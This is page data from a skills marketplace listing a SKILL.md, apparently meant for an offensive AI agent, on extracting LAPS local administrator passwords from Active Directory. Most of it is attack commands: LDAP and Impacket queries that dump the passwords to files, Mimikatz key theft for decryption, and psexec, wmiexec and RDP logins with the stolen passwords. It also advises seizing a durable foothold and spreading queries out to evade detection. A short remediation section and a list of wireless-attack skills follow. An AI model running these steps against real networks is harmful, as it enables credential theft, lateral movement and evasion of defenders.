[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EHPRRYAWZK85MHFCTKW7CF":3,"skill-same:01M7EHPRRYAWZK85MHFCTKW7CF":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":32,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7EHPRRYAWZK85MHFCTKW7CF","laps",null,"Extract LAPS-managed local administrator passwords from AD computer objects (ms-Mcs-AdmPwd \u002F msLAPS-Password).","a18268941610-crypto\u002FDecepticon-shentou","a18268941610-crypto","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F241464571?v=4","01M7EHA2V2KTCYTX78QJKXCZ8Y","fubai","01M7EHA2VKDD5RCWJJKC0ZA101",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Flaps\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: laps\ndescription: Extract LAPS-managed local administrator passwords from AD computer objects (ms-Mcs-AdmPwd \u002F msLAPS-Password).\nmetadata:\n  subdomain: active-directory\n  when_to_use: \"laps local admin password ldap powerview netexec\"\n  mitre_attack:\n    - T1555\n---\n\n# LAPS Password Extraction\n\nLAPS (Local Administrator Password Solution) stores randomized local\nadmin passwords on computer objects in AD. Reading them requires\n`ms-Mcs-AdmPwd` (legacy) or `msLAPS-Password` (Windows LAPS) read\npermission — which is OFTEN over-delegated.\n\n## 1. Detect LAPS deployment\n```bash\n# Legacy LAPS schema\nldapsearch -x -H ldap:\u002F\u002FDC_IP -D 'USER@DOM' -w 'PASS' \\\n  -b 'CN=Schema,CN=Configuration,DC=corp,DC=local' \\\n  '(name=ms-Mcs-AdmPwd)' name\n\n# Windows LAPS (2023+)\nldapsearch ... '(name=msLAPS-Password)' name\n\n# Either present = LAPS is deployed\n```\n\n## 2. Find delegated readers (your target ACL)\nFrom BloodHound — anyone with `ReadLAPSPassword` edge:\n```\nMATCH (n)-[:ReadLAPSPassword]->(c:Computer)\nRETURN DISTINCT n.name, c.name\n```\n\nCommon over-delegation patterns:\n- \"HelpDesk-LAPS-Read\" groups granted to ALL computers\n- IT-Operations OUs reading their child OUs (then a flat OU = global)\n- Service accounts with `GenericAll` on Computer objects (implies LAPS read)\n\n## 3. Read passwords (assuming you can)\n```bash\n# Direct LDAP query as authorized user\nldapsearch -x -H ldap:\u002F\u002FDC_IP -D 'USER@DOM' -w 'PASS' \\\n  -b 'DC=corp,DC=local' \\\n  '(&(objectClass=computer)(ms-Mcs-AdmPwd=*))' \\\n  name dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime > \u002Ftmp\u002Flaps.txt\n\n# Windows LAPS uses encrypted attribute by default\nldapsearch ... \\\n  '(&(objectClass=computer)(msLAPS-EncryptedPassword=*))' \\\n  name dNSHostName msLAPS-EncryptedPassword msLAPS-Password\n```\n\n**Impacket helper**:\n```bash\n# Recovers legacy LAPS\nGetLAPSPassword.py 'DOM\u002FUSER:PASS@DC_FQDN' \\\n  -outputfile \u002Ftmp\u002Flaps.csv\n\n# Newer Windows LAPS w\u002F encryption: use python-windows-laps or\n# manual ASN.1 decode w\u002F user's DPAPI key\n```\n\n## 4. Bulk-process result\n```\nlaps_ingest(\"\u002Ftmp\u002Flaps.txt\")\n```\nThis adds:\n```\nkg_add_node(kind=\"credential\", label=\"\u003Chost>\\\\Administrator:\u003Cplain>\",\n            props={\"source\":\"laps\",\"host\":\"\u003Chost>\",\"expires\":\"\u003Cdate>\"})\nkg_add_edge(src=\u003Ccred>, dst=\u003Ccomputer>, kind=\"local-admin\")\n```\n\n## 5. Cracking encrypted LAPS (Windows LAPS only)\nWindows LAPS (server 2022+) encrypts the password with a per-principal\nDPAPI key derived from the AD-stored public key. To decrypt:\n- You need either the authorized principal's DPAPI master key (from their\n  profile via Mimikatz `dpapi::masterkey`), or\n- The recovery key configured via `Set-LAPSADAuditing` policy\n\nIf neither, the `msLAPS-EncryptedPassword` blob is useless without context.\n\n## 6. Authentication with LAPS pw\n```bash\n# SMB \u002F WMI as local admin\npsexec.py 'HOST\\\\Administrator:LAPS_PW@10.0.0.5'\nwmiexec.py 'HOST\\\\Administrator:LAPS_PW@10.0.0.5'\n\n# RDP\nxfreerdp \u002Fu:Administrator \u002Fp:'LAPS_PW' \u002Fv:10.0.0.5 +clipboard\n```\n\nNOTE: LAPS rotates on a schedule (default 30 days). Use the pw quickly\nand grab a more durable foothold (cached creds, scheduled task,\nservice account hash).\n\n## OPSEC\n- LDAP search for `ms-Mcs-AdmPwd` attribute is **event 4662** on DC\n  with object type Computer and `Properties` referencing the AdmPwd GUID\n- Detection signature: 4662 reading large numbers of computer objects\n  for the AdmPwd attribute = LAPS scrape in progress\n- Spread reads over time, scope by OU not domain-wide\n\n## CVSS\n- Anyone in domain reading any LAPS pw: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H` = 7.5\n- Over-delegated to wide group reading hundreds of hosts: 9.0 (scope: Changed)\n\n## Defender remediation\n```powershell\n# Audit who can read LAPS pw on a Computer object\nGet-ACL \"AD:CN=HOST,OU=Servers,DC=dom,DC=local\" |\n  Select -ExpandProperty Access |\n  Where {$_.ObjectType -eq '\u003CAdmPwd-GUID>'} |\n  Format-Table IdentityReference, ActiveDirectoryRights\n\n# Remove over-delegated readers\n$acl = Get-ACL \"AD:CN=HOST,...\"\n$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(\n  'DOM\\HelpDeskGroup', 'ExtendedRight', 'Deny',\n  '\u003CAdmPwd-GUID>', 'Descendents', '\u003CComputer-GUID>')\n$acl.AddAccessRule($ace)\nSet-ACL -Path \"AD:CN=HOST,...\" -AclObject $acl\n\n# Or use the LAPS-shipped audit cmdlet\nFind-AdmPwdExtendedRights -Identity 'OU=Servers,DC=dom,DC=local'\n```\n\n## Known exemplars\n- 2018: HelpDeskTier1 group granted ReadLAPS at domain root by accident → entire estate compromised\n- 2021: Tenable Nessus default service account had LAPS read via GenericAll\n- 2023: Multiple ManageEngine deployments over-delegated LAPS to \"AssetMgmt\" service account\n","# LAPS Password Extraction\n\nLAPS (Local Administrator Password Solution) stores randomized local\nadmin passwords on computer objects in AD. Reading them requires\n`ms-Mcs-AdmPwd` (legacy) or `msLAPS-Password` (Windows LAPS) read\npermission — which is OFTEN over-delegated.\n\n## 1. Detect LAPS deployment\n```bash\n# Legacy LAPS schema\nldapsearch -x -H ldap:\u002F\u002FDC_IP -D 'USER@DOM' -w 'PASS' \\\n  -b 'CN=Schema,CN=Configuration,DC=corp,DC=local' \\\n  '(name=ms-Mcs-AdmPwd)' name\n\n# Windows LAPS (2023+)\nldapsearch ... '(name=msLAPS-Password)' name\n\n# Either present = LAPS is deployed\n```\n\n## 2. Find delegated readers (your target ACL)\nFrom BloodHound — anyone with `ReadLAPSPassword` edge:\n```\nMATCH (n)-[:ReadLAPSPassword]->(c:Computer)\nRETURN DISTINCT n.name, c.name\n```\n\nCommon over-delegation patterns:\n- \"HelpDesk-LAPS-Read\" groups granted to ALL computers\n- IT-Operations OUs reading their child OUs (then a flat OU = global)\n- Service accounts with `GenericAll` on Computer objects (implies LAPS read)\n\n## 3. Read passwords (assuming you can)\n```bash\n# Direct LDAP query as authorized user\nldapsearch -x -H ldap:\u002F\u002FDC_IP -D 'USER@DOM' -w 'PASS' \\\n  -b 'DC=corp,DC=local' \\\n  '(&(objectClass=computer)(ms-Mcs-AdmPwd=*))' \\\n  name dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime > \u002Ftmp\u002Flaps.txt\n\n# Windows LAPS uses encrypted attribute by default\nldapsearch ... \\\n  '(&(objectClass=computer)(msLAPS-EncryptedPassword=*))' \\\n  name dNSHostName msLAPS-EncryptedPassword msLAPS-Password\n```\n\n**Impacket helper**:\n```bash\n# Recovers legacy LAPS\nGetLAPSPassword.py 'DOM\u002FUSER:PASS@DC_FQDN' \\\n  -outputfile \u002Ftmp\u002Flaps.csv\n\n# Newer Windows LAPS w\u002F encryption: use python-windows-laps or\n# manual ASN.1 decode w\u002F user's DPAPI key\n```\n\n## 4. Bulk-process result\n```\nlaps_ingest(\"\u002Ftmp\u002Flaps.txt\")\n```\nThis adds:\n```\nkg_add_node(kind=\"credential\", label=\"\u003Chost>\\\\Administrator:\u003Cplain>\",\n            props={\"source\":\"laps\",\"host\":\"\u003Chost>\",\"expires\":\"\u003Cdate>\"})\nkg_add_edge(src=\u003Ccred>, dst=\u003Ccomputer>, kind=\"local-admin\")\n```\n\n## 5. Cracking encrypted LAPS (Windows LAPS only)\nWindows LAPS (server 2022+) encrypts the password with a per-principal\nDPAPI key derived from the AD-stored public key. To decrypt:\n- You need either the authorized principal's DPAPI master key (from their\n  profile via Mimikatz `dpapi::masterkey`), or\n- The recovery key configured via `Set-LAPSADAuditing` policy\n\nIf neither, the `msLAPS-EncryptedPassword` blob is useless without context.\n\n## 6. Authentication with LAPS pw\n```bash\n# SMB \u002F WMI as local admin\npsexec.py 'HOST\\\\Administrator:LAPS_PW@10.0.0.5'\nwmiexec.py 'HOST\\\\Administrator:LAPS_PW@10.0.0.5'\n\n# RDP\nxfreerdp \u002Fu:Administrator \u002Fp:'LAPS_PW' \u002Fv:10.0.0.5 +clipboard\n```\n\nNOTE: LAPS rotates on a schedule (default 30 days). Use the pw quickly\nand grab a more durable foothold (cached creds, scheduled task,\nservice account hash).\n\n## OPSEC\n- LDAP search for `ms-Mcs-AdmPwd` attribute is **event 4662** on DC\n  with object type Computer and `Properties` referencing the AdmPwd GUID\n- Detection signature: 4662 reading large numbers of computer objects\n  for the AdmPwd attribute = LAPS scrape in progress\n- Spread reads over time, scope by OU not domain-wide\n\n## CVSS\n- Anyone in domain reading any LAPS pw: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H` = 7.5\n- Over-delegated to wide group reading hundreds of hosts: 9.0 (scope: Changed)\n\n## Defender remediation\n```powershell\n# Audit who can read LAPS pw on a Computer object\nGet-ACL \"AD:CN=HOST,OU=Servers,DC=dom,DC=local\" |\n  Select -ExpandProperty Access |\n  Where {$_.ObjectType -eq '\u003CAdmPwd-GUID>'} |\n  Format-Table IdentityReference, ActiveDirectoryRights\n\n# Remove over-delegated readers\n$acl = Get-ACL \"AD:CN=HOST,...\"\n$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(\n  'DOM\\HelpDeskGroup', 'ExtendedRight', 'Deny',\n  '\u003CAdmPwd-GUID>', 'Descendents', '\u003CComputer-GUID>')\n$acl.AddAccessRule($ace)\nSet-ACL -Path \"AD:CN=HOST,...\" -AclObject $acl\n\n# Or use the LAPS-shipped audit cmdlet\nFind-AdmPwdExtendedRights -Identity 'OU=Servers,DC=dom,DC=local'\n```\n\n## Known exemplars\n- 2018: HelpDeskTier1 group granted ReadLAPS at domain root by accident → entire estate compromised\n- 2021: Tenable Nessus default service account had LAPS read via GenericAll\n- 2023: Multiple ManageEngine deployments over-delegated LAPS to \"AssetMgmt\" service account\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"active-directory","laps local admin password ldap powerview netexec",[28],"T1555","main","d6bfd87ad9f910cfff715da04c804638990a8538","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Flaps",1,"https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto","2026-10-12 03:35:17",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add a18268941610-crypto\u002FDecepticon-shentou --skill laps",{"tool":42,"command":43},"bunx","bunx skills add a18268941610-crypto\u002FDecepticon-shentou --skill laps",{"tool":45,"command":46},"pnpm","pnpm dlx skills add a18268941610-crypto\u002FDecepticon-shentou --skill laps","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Flaps\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7EJXTEFYQPHY32431RWJENT","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7EJXHKBXYF3QSYNW5YSK10H","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7EJXAC5W1C1MACKKP1RRT8K","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7EJX02A5FFBM2V7VG52GNSK","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7EJWNRRMBRZQTKH3VFYAK58","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7EJWB0CC58R8Z4HW6YRQCZW","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]